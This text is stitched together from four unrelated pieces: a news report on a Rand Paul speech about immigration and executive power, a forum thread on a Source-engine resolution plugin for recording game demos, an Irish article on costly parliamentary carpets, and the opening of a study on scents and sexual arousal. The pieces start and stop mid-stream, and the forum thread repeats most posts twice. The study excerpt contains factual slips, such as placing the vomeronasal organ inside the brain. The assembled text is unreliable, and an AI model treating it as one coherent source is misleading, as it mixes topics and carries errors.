The crowd of 200 strong, mostly young people under 30, at tonight’s event is a sign Paul’s conservative libertarianism is catching fire in “Live Free or Die” New Hampshire. Paul criticized the left’s immigration policies, Hillary Clinton’s and President Obama’s foreign policy, and big government Republicans like Sen. John McCain (R-AZ), who he didn’t name but specifically referenced at least once, mixing all that together with his libertarian messaging of demanding America “rethink the war on drugs” and protect constitutional liberties of Americans–a theme he hit in his Senate floor filibuster.
One questioner asked Paul to comment on “Barack Obama’s constitutional authority–or lack thereof–to legalize illegal aliens.”
“It’s not been one thing, it’s been many things,” Paul responded. “It’s been immigration, it’s been healthcare reform as well as war powers. He thinks he can do anything. In frankly almost all of these areas he’s usurped his authority. It’s wrong from a constitutional perspective. I think with DACA [the Deferred Action for Childhood Arrivals executive amnesty], he has no authority to do DACA. Not only is it wrong from a constitutional perspective but then in doing so it becomes something that really messes up the border. It screws things up because if you provide sort of a beacon, or a grant of forgiveness to people and say ‘this is okay’ without securing the border, what does that tell everybody else in Central America? ‘Hey guys, it’s open season, let’s move to the United States.’ So 50,000 kids have come also because of this Wilberforce Act which says we’re going to treat people differently if they come to the United States from a country other than Mexico. So, 50,000 kids are here.”
Paul argued too that it’s not anti-immigrant to oppose amnesty and executive orders like the one President Obama has now delayed past the election. “We have to be a part–and I am a person who is part of a party–who I think does and should look at immigrants as assets,” Paul said. “I was in Guatemala a couple weeks ago, and my main conversation with the president there was we would like more adoption of Guatemalan children. There are thousands of Americans who would adopt Guatemalan children. I don’t want to be the party that is against Guatemalan kids, but I do want to be the party that is for enforcing the rule of law and says we can’t have just everybody come whenever they want to.”
Earlier, during his remarks, Paul hammered Obama on his use of executive authority. “[Abraham] Lincoln wrote that any man can stand adversity, but if you want to test a man’s character, give him power,” Paul said. “I think this president has failed that test at every turn because this president has said that ‘oh, well, Democracy is messy and Congress won’t give me what I want.’ A direct quote from one of his people about two weeks they said, ‘he has no choice but to act.’ It sounds like we live in some kind of third world place where the president does whatever he wants. This is the idea that the presidency is run amok. I was talking to one of you earlier and you said it didn’t start with him–you’re right. It’s gone on for a hundred years, and progressively has gotten worse, Republicans and Democratic administrations, with more and more power accumulating in the presidency.”
Paul continued by noting that he thinks Obama’s executive overreaches are worse than any individual policies he’s pushed. “The worst thing this president has done is not Obamacare,” Paul said. “It’s not Dodd-Frank. And they’re horrible. They’re terrible. They’re the worst pieces of legislation in a couple decades. But the worst thing this president has done is run roughshod over the separation of powers.”
Lange comes up with fun challenges
This is mainly for video producers who want to record at a higher resolution than their screen supports, and don't want to record at a smaller resolution and then upscale. Which games?
TF2, of course, but because it just fiddles with the engine, it works on any game using the same engine.
Currently, the plugin supports: Team Fortress 2 (Crashing? See #29)
Counter-Strike: Source
Portal 1
Half-Life 2 Not working yet: Counter-Strike: Global Offensive (partially working, though not with this download)
Portal 1 (Pre-SteamPipe)
Half-Life 2 (Pre-SteamPipe) Untested: HL2 Episodes, probably works
Source 2013 mods, probably works
Any game/engine not mentioned probably won't work Install
Download using the link below
Copy SourceRes folder to your game's custom folder
- If the game doesn't have a custom folder (Portal/HL2/CSGO), make an addons folder and copy SourceRes/addons/SourceRes.dll & .vdf to the new addons folder
Add -insecure to launch options
Mac/Linux not supported right now, sorry! Usage
Add -insecure to launch options (Lawena has an option to do this for you!)
Launch the game in windowed mode , resolution doesn't matter
Open the console and move it to the top-left , so you don't lose it after resize
'sr_forceres [width] [height]', example 'sr_forceres 3840 2160' for UHD/YouTube 4k
playdemo and let your VDMs handle startmovie/endmovie Notes Fullscreen mode. If you switch to an unsupported resolution in fullscreen, you will get a black screen. Use windowed mode.
If you switch to an unsupported resolution in fullscreen, you will get a black screen. Use windowed mode. I don't know if there is a limit on how high it can go, or if it depends on hardware limits. I have only tested up to 3840x2160 on my laptop's GT525M.
4k TGAs are 27MB, so if you want to use that resolution make sure you have enough disk space, or use SrcDemo to convert to PNG, which usually cuts off more than 50% of the size.
The small font in that video seems to be a HUD problem, here's the eXtv HUD at the same resolution with working fonts: https://dl.dropboxusercontent.com/u/6635591/t0010.png
Dunno what happens if you give it something that isn't 4:3, 16:9 or 16:10.
See #22 for a method of seeing the full resolution scaled back down to your screen size, while keeping full resolution startmovie
Is Videos the right subforum? I dunno. Download
Current: SourceRes 1.0
All releases: GitHub
Source code: github.com/MattMcNam/source-res SourceRes is a small plugin that lets you force a Source Engine game to run in any* resolution, including larger than your screen size.
Here's an example 4k (2160p) video I recorded on my 768p laptop: https://www.youtube.com/watch?v=2NKdDciQc7k (thnx huhy 4 good demo)
[b]Why?[/b]
[url=https://twitter.com/VanCamp/status/445972473188978688]Lange comes up with fun challenges[/url]
This is mainly for video producers who want to record at a higher resolution than their screen supports, and don't want to record at a smaller resolution and then upscale.
[b]Which games?[/b]
TF2, of course, but because it just fiddles with the engine, it works on any game using the same engine.
Currently, the plugin supports:
[list]
[*] Team Fortress 2 (Crashing? See [url=#29]#29[/url])
[*] Counter-Strike: Source
[*] Portal 1
[*] Half-Life 2
[/list]
Not working yet:
[list]
[*] Counter-Strike: Global Offensive (partially working, though not with this download)
[*] Portal 1 (Pre-SteamPipe)
[*] Half-Life 2 (Pre-SteamPipe)
[/list]
Untested:
[list]
[*] HL2 Episodes, probably works
[*] Source 2013 mods, probably works
[*] Any game/engine not mentioned probably won't work
[/list]
[b]Install[/b]
[olist]
[*] Download using the link below
[*] Copy SourceRes folder to your game's custom folder
- If the game doesn't have a custom folder (Portal/HL2/CSGO), make an addons folder and copy SourceRes/addons/SourceRes.dll & .vdf to the new addons folder
[*] Add -insecure to launch options
[*] Mac/Linux not supported right now, sorry!
[/olist]
[b]Usage[/b]
[olist]
[*] Add -insecure to launch options (Lawena has an option to do this for you!)
[*] Launch the game [u]in windowed mode[/u], resolution doesn't matter
[*] Open the console [u]and move it to the top-left[/u], so you don't lose it after resize
[*] 'sr_forceres [width] [height]', example 'sr_forceres 3840 2160' for UHD/YouTube 4k
[*] playdemo and let your VDMs handle startmovie/endmovie
[/olist]
[b]Notes[/b]
[list]
[*] [b]Fullscreen mode.[/b] If you switch to an unsupported resolution in fullscreen, you will get a black screen. Use windowed mode.
[*] I don't know if there is a limit on how high it can go, or if it depends on hardware limits. I have only tested up to 3840x2160 on my laptop's GT525M.
[*] 4k TGAs are 27MB, so if you want to use that resolution make sure you have enough disk space, or use SrcDemo to convert to PNG, which usually cuts off more than 50% of the size.
[*] The small font in that video seems to be a HUD problem, here's the eXtv HUD at the same resolution with working fonts: https://dl.dropboxusercontent.com/u/6635591/t0010.png
[*] Dunno what happens if you give it something that isn't 4:3, 16:9 or 16:10.
[*] See [url=#22]#22[/url] for a method of seeing the full resolution scaled back down to your screen size, while keeping full resolution startmovie
[*] Is Videos the right subforum? I dunno.
[/list]
[b]Download[/b]
Current: [url=https://github.com/MattMcNam/source-res/releases/tag/v1.0]SourceRes 1.0[/url]
All releases: [url=https://github.com/MattMcNam/source-res/releases]GitHub[/url]
Source code: [url=https://github.com/MattMcNam/source-res]github.com/MattMcNam/source-res[/url]
2 #2 konr 1 Frags – + Good shit blue! Good shit blue!
3 #3 redban 0 Frags – + This is amazing, thank you based blue This is amazing, thank you based blue
4 #4 MightyMe 4 Frags – + your move huhy, no more stretching out 720p to shitty 1440p resolution your move huhy, no more stretching out 720p to shitty 1440p resolution
5 #5 MightyMe 1 Frags – + But seriously, this looks great. Might use it for recording and downscale it to 1080p or 720p. But seriously, this looks great. Might use it for recording and downscale it to 1080p or 720p.
6 #6 huhy 0 Frags – + MightyMe your move huhy, no more stretching out 720p to shitty 1440p resolution Blue gave me to test this, so I will use it from now on! [quote=MightyMe]your move huhy, no more stretching out 720p to shitty 1440p resolution[/quote]
Blue gave me to test this, so I will use it from now on!
7 #7 BLoodSire 6 Frags – + you are like one of the lost blue wizards from Lord of the Rings you are like one of the lost blue wizards from Lord of the Rings
9 #9 LuckyLuke eXtelevision 0 Frags – + Nice work. I'll try this out later. Anyone know where the font size option is in the HUD files of the killnotices? YouTube is working on 4K support btw. Some partners already have access to that, but I think it's very limited still. Nice work. I'll try this out later. Anyone know where the font size option is in the HUD files of the killnotices?
YouTube is working on 4K support btw. Some partners already have access to that, but I think it's very limited still.
10 #10 clip 1 Frags – + huhy MightyMe your move huhy, no more stretching out 720p to shitty 1440p resolution Blue gave me to test this, so I will use it from now on! Are you gonna make a tutorial for this particular plugin + the downscaling in sv again? [quote=huhy][quote=MightyMe]your move huhy, no more stretching out 720p to shitty 1440p resolution[/quote]
Blue gave me to test this, so I will use it from now on![/quote]
Are you gonna make a tutorial for this particular plugin + the downscaling in sv again?
11 #11 LuckyLuke eXtelevision 4 Frags – + Ok so I just tested it once. Awesome plugin, but there are a few workflow problems.. When recording 4K at a 1080p monitor, you only see a small upper right section. So it gets hard to tell what's going on, which is annoying when recording without VDM to tell where you can stop. This problem gets bigger when you want to do thirdperson shots. I like to adjust cam_ options to control the camera in thirdperson mode, it's obviously almost impossible to do this in 4K mode. Only way I see this working is to launch in 1080p, play the demo and set cam_ commands the way you like it. Disconnect, hit it in 4K and go back in the demo, thirdperson and record. You can't switch resolutions in the middle of a demo it looks like, the demo starts glitching then (any way to reset this? I think when these glitches happen ingame you just record a demo and stop, then it's fixed but as you're already playing a demo this is impossible). This is even a bigger problem when using STV demos, as you have to set the camera before each shot and can't program it ahead of time. Is it possible to see the upper right instead of upper left, so at least you can see killnotices? So still possible to do POV demos at 4K, and eXtra STV shots at 1080p. But maybe there are possibilities / workarounds / updates possible in the future. PS: I just tested it and we already have 4K YouTube support at CommFT. So that's nice, will try to make a 4K MoG soon if it doesn't take too long to record. Ok so I just tested it once. Awesome plugin, but there are a few workflow problems..
When recording 4K at a 1080p monitor, you only see a small upper right section. So it gets hard to tell what's going on, which is annoying when recording without VDM to tell where you can stop. This problem gets bigger when you want to do thirdperson shots. I like to adjust cam_ options to control the camera in thirdperson mode, it's obviously almost impossible to do this in 4K mode. Only way I see this working is to launch in 1080p, play the demo and set cam_ commands the way you like it. Disconnect, hit it in 4K and go back in the demo, thirdperson and record. You can't switch resolutions in the middle of a demo it looks like, the demo starts glitching then (any way to reset this? I think when these glitches happen ingame you just record a demo and stop, then it's fixed but as you're already playing a demo this is impossible).
This is even a bigger problem when using STV demos, as you have to set the camera before each shot and can't program it ahead of time.
Is it possible to see the upper right instead of upper left, so at least you can see killnotices?
So still possible to do POV demos at 4K, and eXtra STV shots at 1080p. But maybe there are possibilities / workarounds / updates possible in the future.
PS: I just tested it and we already have 4K YouTube support at CommFT. So that's nice, will try to make a 4K MoG soon if it doesn't take too long to record.
12 #12 flatline 1 Frags – + oh my this will be infinitely useful for hud editing big bluee oh my this will be infinitely useful for hud editing
big bluee
13 #13 Forsak3n 0 Frags – + would love to have a csgo version :p would love to have a csgo version :p
14 #14 ikpure 1 Frags – + god bless you god bless you
15 #15 seanbud Tip of the Hats 7 Frags – + it's incredible how resourceful our community is. it's incredible how resourceful our community is.
16 #16 emkay 0 Frags – + LuckyLuke You can't switch resolutions in the middle of a demo it looks like, the demo starts glitching then (any way to reset this? I think when these glitches happen ingame you just record a demo and stop, then it's fixed but as you're already playing a demo this is impossible). Just a suggestion: If a demo is glitching (ie the characters are making sounds and not moving, shutter doors are broken, animations are "gliding", etc), try go backwards a few ticks. The game has to reload the game-state from that tick, so everything gets reset. Its a only a suggestion though, since it has been a fix for my demo playback problems in the past. I have multi-core rendering on, but turning it off might help depending on your computer specs. I hope I've helped! [quote=LuckyLuke] You can't switch resolutions in the middle of a demo it looks like, the demo starts glitching then (any way to reset this? I think when these glitches happen ingame you just record a demo and stop, then it's fixed but as you're already playing a demo this is impossible).[/quote]
Just a suggestion: If a demo is glitching (ie the characters are making sounds and not moving, shutter doors are broken, animations are "gliding", etc), try go backwards a few ticks. The game has to reload the game-state from that tick, so everything gets reset.
Its a only a suggestion though, since it has been a fix for my demo playback problems in the past. I have multi-core rendering on, but turning it off might help depending on your computer specs.
I hope I've helped!
17 #17 LuckyLuke eXtelevision 0 Frags – + Hmmmm. So I can't seem to make the font bigger on the killnotices. Anyone who can help me with that? I tried almost every setting in hudlayout.res - HudDeathNotice. RJ LuckyLuke You can't switch resolutions in the middle of a demo it looks like, the demo starts glitching then (any way to reset this? I think when these glitches happen ingame you just record a demo and stop, then it's fixed but as you're already playing a demo this is impossible).
Just a suggestion: If a demo is glitching (ie the characters are making sounds and not moving, shutter doors are broken, animations are "gliding", etc), try go backwards a few ticks. The game has to reload the game-state from that tick, so everything gets reset.
Its a only a suggestion though, since it has been a fix for my demo playback problems in the past. I have multi-core rendering on, but turning it off might help depending on your computer specs.
I hope I've helped! Thanks, yeah that's a quicker way of fixing it. Hmmmm. So I can't seem to make the font bigger on the killnotices. Anyone who can help me with that? I tried almost every setting in hudlayout.res - HudDeathNotice.
[quote=RJ][quote=LuckyLuke] You can't switch resolutions in the middle of a demo it looks like, the demo starts glitching then (any way to reset this? I think when these glitches happen ingame you just record a demo and stop, then it's fixed but as you're already playing a demo this is impossible).[/quote]
Just a suggestion: If a demo is glitching (ie the characters are making sounds and not moving, shutter doors are broken, animations are "gliding", etc), try go backwards a few ticks. The game has to reload the game-state from that tick, so everything gets reset.
Its a only a suggestion though, since it has been a fix for my demo playback problems in the past. I have multi-core rendering on, but turning it off might help depending on your computer specs.
I hope I've helped![/quote]
Thanks, yeah that's a quicker way of fixing it.
18 #18 bluee 0 Frags – + Not sure why the fonts are small in one HUD, but the extv one was fine. I'll see if I can find another HUD that people can use to compare against and try to figure it out. Luke, yeah, this was put together with POV/scripted recording in mind. Moving the window to different corners shouldn't be too hard, but I'll see what else I can do to help being able to see the full screen & keep the full resolution for recording. flatline, I forgot to mention it in the OP but yeah, HUD editors can get good use of this. I can finally test extv medic info at 1080p with this too :D Forsak3n, CS:GO is currently fucking me, but it's first on the 'next game' to-do list.
As an example, when I do 1080p, this is what happens. Window stays 1366x768, console & other UI is at 1080p but scaled down, and where you see the cursor there is as far down as I can move it. Edit: Does GOTV not allow insecure spectators? Not sure why the fonts are small in one HUD, but the extv one was fine. I'll see if I can find another HUD that people can use to compare against and try to figure it out.
Luke, yeah, this was put together with POV/scripted recording in mind. Moving the window to different corners shouldn't be too hard, but I'll see what else I can do to help being able to see the full screen & keep the full resolution for recording.
flatline, I forgot to mention it in the OP but yeah, HUD editors can get good use of this. I can finally test extv medic info at 1080p with this too :D
Forsak3n, CS:GO is currently fucking me, but it's first on the 'next game' to-do list.
As an example, when I do 1080p, [url=http://i.imgur.com/SXDNUhM.png]this is what happens[/url]. Window stays 1366x768, console & other UI is at 1080p but scaled down, and where you see the cursor there is as far down as I can move it.
Edit: Does GOTV not allow insecure spectators?
19 #19 bluee 0 Frags – + Quick update, switching to an unsupported resolution in fullscreen just causes a black screen, you can alt tab back out to windows and close the game. I'll see if I can make it switch to windowed automatically. Quick update, switching to an unsupported resolution in fullscreen just causes a black screen, you can alt tab back out to windows and close the game.
I'll see if I can make it switch to windowed automatically.
20 #20 LuckyLuke eXtelevision 0 Frags – + bluee Luke, yeah, this was put together with POV/scripted recording in mind. Moving the window to different corners shouldn't be too hard, but I'll see what else I can do to help being able to see the full screen & keep the full resolution for recording. Thanks, that'd be awesome :) I finally fiXed the killnotices HUD. If you want to know how I'll try and eXplain tomorrow. Hopefully I can make a MoG in 4K tomorrow as well. [quote=bluee]Luke, yeah, this was put together with POV/scripted recording in mind. Moving the window to different corners shouldn't be too hard, but I'll see what else I can do to help being able to see the full screen & keep the full resolution for recording.[/quote]
Thanks, that'd be awesome :)
I finally fiXed the killnotices HUD. If you want to know how I'll try and eXplain tomorrow. Hopefully I can make a MoG in 4K tomorrow as well.
21 #21 LuckyLuke eXtelevision 4 Frags – + So here's the first MoG in 4K! Thanks so much bluee :) https://www.youtube.com/watch?v=32rXFkVpid8 Defenitely very slow recording and rendering, but acceptable for short frag clips and when I know I'm off for 2 or 3 hours anyway. Chrome sometimes has trouble changing video quality so you might have to play with it for a while before it actually plays in 4K :/ Other browsers seem to be fine. So here's the first MoG in 4K! Thanks so much bluee :)
[youtube]https://www.youtube.com/watch?v=32rXFkVpid8[/youtube]
Defenitely very slow recording and rendering, but acceptable for short frag clips and when I know I'm off for 2 or 3 hours anyway. Chrome sometimes has trouble changing video quality so you might have to play with it for a while before it actually plays in 4K :/ Other browsers seem to be fine.
22 #22 yttrium 2 Frags – + Bluee asked me to post a tutorial on how to get your game window to still fit fully in your screen even though it's outputting at the higher resolution that you told it to with SourceRes. Side effects include mouse detection being misaligned in-game (aka you can hardly use the mouse), horrible downscaling (very pixelated because it uses a nearest neighbor technique; you can see the before and after (native and shrunken w/ SourceRes, respectively) here and here. Those screenshots are simulated but it gets the point across; in practice it'll probably look even worse. Anyway, you need to install GameCompanion from here. This utility is used for many other games in order to force a borderless window output mode. Essentially it strips the borders from a window and then stretches it with a form of overlay to fit across the screen. This will stretch with nearest neighbor techniques so if you output to a resolution that isn't your native res (usually lower, but in our case, higher), the result will look atrocious, as shown earlier. After installing GameCompanion, open it and find out what your "Manual FFMode" hotkey is. Mine is Ctrl+Enter, but I don't recall if this is the default. Anyway, start TF2 now with the "-windowed -insecure" parameters (additionally "-novid" or any other parameters, but do not use "-noborder", as I'm not sure how it behaves with GameCompanion). Once it's launched in a window, use SourceRes in the console to target the output resolution you want - for example, to make your game output at 4K, you'd enter "sr_forceres 3840 2160". Then, once it's adjusted your resolution, hit Ctrl+Enter (or whatever your hotkey is/was) while still in the console. Staying in the console is entirely optional, but is definitely more convenient as the "enter" key will probably trigger a menu button, and you'll want the console open afterward anyway. This should stretch your window to fill your primary monitor. From here, you're pretty much done. You're viewing a downscaled version of the incredibly high res game now, but even though your view is downscaled, all images and videos will be rendered at the SourceRes resolution. You can close GameCompanion when you're done capturing. Enjoy! EDIT: In order to reassure based on previous complaints, mouse tracking should only be broken for navigating menus and things of that nature. Rotating for thirdperson shots should be okay. EDIT2, 10 months later: For those of you trying to get this to work, be sure that in GameCompanion's settings window, in the Options tab, you have FFMode set to Type2, not Type1. Be sure to restart both GameCompanion and TF2 fully once setting this option for it to take effect. Bluee asked me to post a tutorial on how to get your game window to still fit fully in your screen even though it's outputting at the higher resolution that you told it to with SourceRes. Side effects include mouse detection being misaligned in-game (aka you can hardly use the mouse), horrible downscaling (very pixelated because it uses a nearest neighbor technique; you can see the before and after (native and shrunken w/ SourceRes, respectively) [url=http://puu.sh/8kQ3c.jpg]here[/url] and [url=http://puu.sh/8kQGb.jpg]here[/url]. Those screenshots are simulated but it gets the point across; in practice it'll probably look even worse.
Anyway, you need to install GameCompanion from [url=www.nexusmods.com/newvegas/mods/42956‎]here[/url]. This utility is used for many other games in order to force a borderless window output mode. Essentially it strips the borders from a window and then stretches it with a form of overlay to fit across the screen. This will stretch with nearest neighbor techniques so if you output to a resolution that isn't your native res (usually lower, but in our case, higher), the result will look atrocious, as shown earlier. After installing GameCompanion, open it and find out what your "Manual FFMode" hotkey is. Mine is Ctrl+Enter, but I don't recall if this is the default. Anyway, start TF2 now with the "-windowed -insecure" parameters (additionally "-novid" or any other parameters, but do [i]not[/i] use "-noborder", as I'm not sure how it behaves with GameCompanion). Once it's launched in a window, use SourceRes in the console to target the output resolution you want - for example, to make your game output at 4K, you'd enter "sr_forceres 3840 2160". Then, once it's adjusted your resolution, hit Ctrl+Enter (or whatever your hotkey is/was) while still in the console. Staying in the console is entirely optional, but is definitely more convenient as the "enter" key will probably trigger a menu button, and you'll want the console open afterward anyway. This should stretch your window to fill your primary monitor.
From here, you're pretty much done. You're viewing a downscaled version of the incredibly high res game now, but even though your view is downscaled, all images and videos will be rendered at the SourceRes resolution. You can close GameCompanion when you're done capturing. Enjoy!
EDIT: In order to reassure based on previous complaints, mouse tracking should only be broken for navigating menus and things of that nature. Rotating for thirdperson shots should be okay.
EDIT2, 10 months later: For those of you trying to get this to work, be sure that in GameCompanion's settings window, in the Options tab, you have FFMode set to Type2, not Type1. Be sure to restart both GameCompanion and TF2 fully once setting this option for it to take effect.
23 #23 LuckyLuke eXtelevision 0 Frags – + Thanks yttrium :) Here's another MoG at 4K: https://www.youtube.com/watch?v=0_hWm2DUZ4Y Thanks yttrium :)
Here's another MoG at 4K:
[youtube]https://www.youtube.com/watch?v=0_hWm2DUZ4Y[/youtube]
24 #24 Afterglow 0 Frags – + This is actually amazing. Great job. edit:
Made 2 things using this so far (some of the 3rd person shots): https://www.youtube.com/watch?v=O7tChllVxeg
https://www.youtube.com/watch?v=nVFfAJTLKFs It's perfect for spinning the camera around and panning while maintaining high quality. This is actually amazing. Great job.
edit:
Made 2 things using this so far (some of the 3rd person shots):
https://www.youtube.com/watch?v=O7tChllVxeg
https://www.youtube.com/watch?v=nVFfAJTLKFs
It's perfect for spinning the camera around and panning while maintaining high quality.
25 #25 Koga 0 Frags – + Thanks a ton for this. My laptop monitor broke a week ago, and I am forced to use a different monitor as the main one. I would have been stuck re-recording all of my clips that I got before I had the screen break if it weren't for this plugin. Thanks a ton guys :) Thanks a ton for this. My laptop monitor broke a week ago, and I am forced to use a different monitor as the main one. I would have been stuck re-recording all of my clips that I got before I had the screen break if it weren't for this plugin. Thanks a ton guys :)
26 #26 Almie 0 Frags – + This is great. I have a question that might seem a bit unrelated, but I not sure where to ask. Wouldnt it be possible to create a similar client plugin that would force sv_pure -1? It would be sort of a hack if used in multiplayer, but I only want it for recording demos with -insecure. Even since SteamPipe, demos have been forcing sv_pure and I cant replace materials in most demos and there is still no 100% working bypass to this. I dont know how to make client plugins even though Ive been looking, but there seems to be little to no documentation on this matter. Even though there is plenty about server plugins, it seems the client ones are made a bit differently and I cant wrap my head around it. So, if someone who knows how to make plugins would make such a plugin, or explain to me why this isnt possible if thats the case, I would be grateful. This is great.
I have a question that might seem a bit unrelated, but I not sure where to ask. Wouldnt it be possible to create a similar client plugin that would force sv_pure -1? It would be sort of a hack if used in multiplayer, but I only want it for recording demos with -insecure. Even since SteamPipe, demos have been forcing sv_pure and I cant replace materials in most demos and there is still no 100% working bypass to this.
I dont know how to make client plugins even though Ive been looking, but there seems to be little to no documentation on this matter. Even though there is plenty about server plugins, it seems the client ones are made a bit differently and I cant wrap my head around it. So, if someone who knows how to make plugins would make such a plugin, or explain to me why this isnt possible if thats the case, I would be grateful.
27 #27 bluee 2 Frags – + This broke in the latest TF2 update, and I'm having trouble fixing it.
Resolution changes, but it crashes once you load a demo. Contacting TF2 team shortly to see if they can help point out what they changed. Tested CS:S, other games seem to still work for what it's worth. and i got no response when i asked about getting it signed :'( This broke in the latest TF2 update, and I'm having trouble fixing it.
Resolution changes, but it crashes once you load a demo.
Contacting TF2 team shortly to see if they can help point out what they changed.
Tested CS:S, other games seem to still work for what it's worth.
[size=10]and i got no response when i asked about getting it signed :'([/size]
28 #28 Spenny 2 Frags – + For me it does work! For me it does work!
29 #29 bluee 1 Frags – + It seems to work for 'recent' demos, but crashes for 'old' ones.
However, if I load a 'recent' demo then an 'old' one, it works. 'recent' meaning recorded 5 mins ago, 'old' meaning an i49 demo; I have no idea where the cut-off point is for working and broken. I guess June 11th? I dunno. So, if it crashes for you:
- record a small demo of yourself, srfix or something
- sr_forceres
- load small demo first
- load the actual demo It seems to work for 'recent' demos, but crashes for 'old' ones.
However, if I load a 'recent' demo [u]then[/u] an 'old' one, it works.
'recent' meaning recorded 5 mins ago, 'old' meaning an i49 demo; I have no idea where the cut-off point is for working and broken. I guess June 11th? I dunno.
So, if it crashes for you:
- record a small demo of yourself, srfix or something
- sr_forceres
- load small demo first
Details obtained by the Irish Examiner show €265,000 was spent on the re-decoration last year, leading to a furious reaction from flood victims who have claimed the move shows how out of touch the political establishment has become.
Freedom of Information Act files confirm that at the start of 2015 Oireachtas officials became concerned over the “very poor state” of Leinster House carpet and how its image could give the wrong impression to those visiting the facility, adding that “urgent” changes needed to be “prioritised”.
After sending out a tender for replacement ground-, first- and second-floor ‘gun-tufted’ carpets made from “cut pile velvet 100% new wool” and stressing that “all materials and workmanship must be of the best quality” with “inferior materials not acceptable”, in February the Superintendent of the Houses Paul Conway estimated the price of the carpet change to be €153,000.
Concerns over the cost involved were raised later that month by Office of Public Works commissioner John McMahon, who said the sum was “obviously high” and suggested officials should “explore less expensive though obviously lower quality carpet”.
However, after the suggestion was ignored, by mid-June the full cost of the initial plan had soared to €250,000 — and rose further in July to €265,000 excluding VAT after further additions were made to the expensive redecoration plans.
While it was pointed out as early as February that at least some of the carpets — which were finally put in place in September — may have to be temporarily taken up as soon as next month because of separate refurbishment works on the campus, the decision was made to bring in external firms Rugs by Design and Sé Quirke to put the new items in place before this occurred. As a result, the expensive new carpets are likely to be removed and stored elsewhere in the coming weeks — using further taxpayer funds.
Despite being small in the national scale of spending, the €265,000 cost has led to an angry response from people affected by Ireland’s ongoing flood crisis, who insisted last night the money could have been put to better use elsewhere.
While recognising the need for a political campus to look its best, Bandon Flood Group member Gillian Powell said the amount of money spent to replace carpets shows how out of touch some in the political sphere are with the reality for struggling families.
“That’s a scandalous amount of money to spend on carpets. They always seem to look after themselves instead of the common good. We’re talking about basic things like sandbags, so it is absolutely scandalous to hear carpets are a priority. We all accept Leinster House needs to look good, but it already looked pretty good to me,” she said.
The €265,000 spend could have been used to pay for 16,562 hours of Jack and Jill Foundation home help support for children with life- limiting conditions; or 11,800 fuel allowance payments for elderly people; or more than 200,000 13in x 30in flood prevention sand bags.
Smell and Taste Treatment Research Foundation, Chicago, Illinois
Abstract: Folk wisdom has it that various aromas are sexually enticing but no data exists demonstrating actual effects of specific odors on arousal. The
present study reports the effects of 30 different scents on sexual arousal of 31 male volunteers by comparing their penile blood flow, measured b brachial penile index, while wearing scented masks and while wearing nonodorized, blank masks. Odors found generally pleasant in previous surveys were selected for this study. Each produced some increase in penile blood flow; the combined odor of lavender and pumpkin pie produced the greatest increase (40%). A multitude of mechanisms may mediate these effects. A potential application of odorants to increase penile blood flow in patients with vasculogenic impotence deserves study. Odors that may decrease penile blood flow have yet to be found for possible use in treating sexual deviants.
Key Words: Odors, Sexual Response
Introduction
Historically, certain smells have been considered aphrodisiacs, a subject of much folklore and pseudoscience. In the volcanic remnants of Pompeii, perfume jars were preserved in the chambers designed for sexual relations. Ancient Egyptians bathed with essential oils in preparation for assignations; Sumarians seduced their women with perfumes. A relationship between smell and sexual attraction is emphasized in traditional Chinese rituals, and virtually all cultures have used perfume in their marriage rites. In mythology, rose petals symbolized scent, and the work “deflowering” describes the initial act of sex. Farcical stock characters in the popular Italian Commedia dell’Arte of the Renaissance wore long-nose masks to symbolize their phallic endowment, a tradition that lingers in the figure of Punch. Dramatic literature abounds with sly references to nasal size as symbolic of phallic size, as in the famous play Cyrano De Bergerac.
Psychoanalysis has made much of these associations. Fliess, in his concept of the phallic nose, formally described an underlying link between the nose and the phallus.(1) Jungian psychology also connects odors and sex.
In the modern world the pervasive promoting and use of perfumes, colognes and after-shaves as romantic enticements have produced a multibillion dollar business.(2) And the popular arts as well have seized on the theme linking olfaction and sex. The movie Scent of a Woman portrays the importance of smell and sexual attraction in our society, as does the recent novel Perfumery.
The prominent connection between odors and sex among diverse historical periods and cultures implies a high level of evolutionary importance. Freud (3) suggested that odors are such strong inducers of sexual feelings that repression of smell sensations is necessary to civilization.
Anatomy bears out the link between smells and sex: the area of the brain through which we experience smells, the olfactory lobe, is part of the limbic system, the emotional brain (4), the area through which sexual thoughts and desires are derived. (5) Brill (6) suggests that people kiss to get their noses close together, so that they can smell each other (the Eskimo kiss). Or possibly they kiss to get their mouths together so they can taste each other since most of what we call taste is dependent upon olfaction.(7)
In discussing odors and sex we must begin with the birds and the bees. Classically, bees, moths, and other insects are known to release pheromones, aerosolized odorants that attract the opposite sex.(8) A female moth can release a pheromone into the air that attracts a male s far as a mile away, enhancing her changes of procreation. Similarly, pheromones exist throughout the animal kingdom in insect, subhuman primate, and primate genera (9) to the evolutionary benefit of the species. Whether human pheromones exist is unclear, but theoretic grounds support their presence, since structures that exist throughout the animal kingdom seem likely to be present in humans as well. Inside the human brain, near the top of the nose is an anatomical feature that gives us reason to believe that human pheromones exist: the vomeronasal organ. (10) Its function is unknown, but in subhuman primates, this is the area where pheromones act to increase the chance of procreation. This is where human vomeropherins bind. (11) (12)
When we exercise, we sweat through endocrine glands. (13) But when we are embarrassed or sexually excited, we sweat through apocrine glands that release high-density steroids (14) under the arms and around the genitalia; their role is unknown. In subhuman primates, the same apocrine glands release pheromones. (14) If these glands function similarly in humans, this might explain why when a woman raises her arms to her head exposing her axillae, her gesture is considered sexually provocative; “this charming grotto is full on intriguing surprises.” (13)
Physiologic evidence of the importance of odors in sexual excitation is two-fold: First, during sexual excitation, engorgement of the nose induces development of eddy currents (like small tornadoes). Then, since less of the air goes directly to the lungs (15), more pheromones or sexual attractants can reach the olfactory epithelium (16) and smell is more acute. Breathing from the mouth during sexual excitation is evidence of nasal engorgement and maximizes contact with stimulants and pheromones. Second, olfactory ability in women, generally better than that of men (16-19) is at its peak during ovulation, perhaps to detect any pheromones present. Increased olfactory ability at this time may explain why periovulatory women tend to have more sexual experiences. Possibly increased olfactory stimulation prompts an increase in sexual activity. (20)
Clinical observation supports the existence of pheromones in humans, as manifested by college roommate effect (21-22). Women who move into all-women’s dormitory halls have, by mid-term, synchronized their ovulating cycles with the other women in the hall. This indicates that a pheromone released by one woman may entrain the others in a pattern of dominance. The same phenomenon exists in small offices where women work together.
As further evidence of pheromones’ existence, male college students were asked to rate pictures of women while wearing masks either with no odor or with a postulated female pheromone (androsterone). The men with postulated female pheromone in their masks described the women as appearing friendlier and prettier than did those wearing unodorized masks (23).
During a study in England, a possible male pheromone was placed beneath certain desks in a classroom; then pictures were taken continually to monitor where students sat. Female students tended to sit near the desks where the postulated male pheromone was placed (24). Asked why they sat there, the girls said “it just seemed like the right place to sit.”
